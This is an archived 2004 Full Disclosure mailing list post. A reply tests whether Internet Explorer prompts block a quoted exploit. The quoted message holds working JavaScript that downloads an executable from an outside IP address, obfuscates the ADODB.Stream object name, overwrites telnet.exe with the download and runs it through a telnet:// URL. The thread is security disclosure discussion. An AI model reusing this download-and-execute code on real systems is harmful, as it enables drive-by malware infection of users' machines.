Full Disclosure mailing list archives
Re: telnet URL type used in exploit
From: Darren Reed <avalon () cairo anu edu au>
Date: Wed, 21 Jul 2004 12:25:33 +1000 (Australia/NSW)
Michael, Out of curiosity, I tested this with IE 6.0.2800.1106.xpsp2.030422-1633 and got a popup box saying: "This page is accessing information that is not under its control. This poses a security risk. Do you want to continue?" [Yes] [No] And that was loading it into IE as a *local file*...when I put it on a web page, I got the usual half dozen alerts about "do you want to run javascript", etc. that even if I said yes to it didn't work. Did you get that popup box when you tested your script below ? Darren
In reply the discussion found at: http://seclists.org/lists/fulldisclosure/2004/Jul/0528.html the consesus seems to be that there are no obvious ways to exploit the mentioned URL types, such as tn3270, telnet, LDAP, rlogin etc. While these may not be exploitable per se, they certainly are when used in conjction with other known exploits. Take the following code for example: var downloadurl="http://213.159.117.133/dl/loadadv74.exe"; if(navigator.appVersion.indexOf("Windows NT 5.1")!=-1) savetopath="C:\\WINDOWS\\system32\\telnet.exe"; if(navigator.appVersion.indexOf("Windows NT 5.0")!=-1) savetopath="C:\\WINNT\\system32\\telnet.exe"; payloadURL = downloadurl; var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET",payloadURL,0); x.Send(); function bla() { return "A" + "D" + "O" + "D" + "B" + "." + "S" + "t" + "r" + "e" + "a" + "m"; } var s = new ActiveXObject(bla()); s.Mode = 3; s.Type = 1; s.Open(); s.Write(x.responseBody); s.SaveToFile(savetopath,2); location.href = "telnet://"; The JavaScript overwrites telnet.exe with a downloaded executable and then runs it by pointing the browser at telnet://. Instead of launching a telnet shell as expected, the attackers code is executed. This is not only an example of the telnet URL type being involved in an exploit, but one that actually relies on it.
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Current thread:
- telnet URL type used in exploit Michael Hale (Jul 20)
- RE: telnet URL type used in exploit KM (Jul 20)
- Re: telnet URL type used in exploit Aditya, ALD [ Aditya Lalit Deshmukh ] (Jul 21)
- Re: telnet URL type used in exploit Darren Reed (Jul 21)
- Re: telnet URL type used in exploit Michael Hale (Jul 20)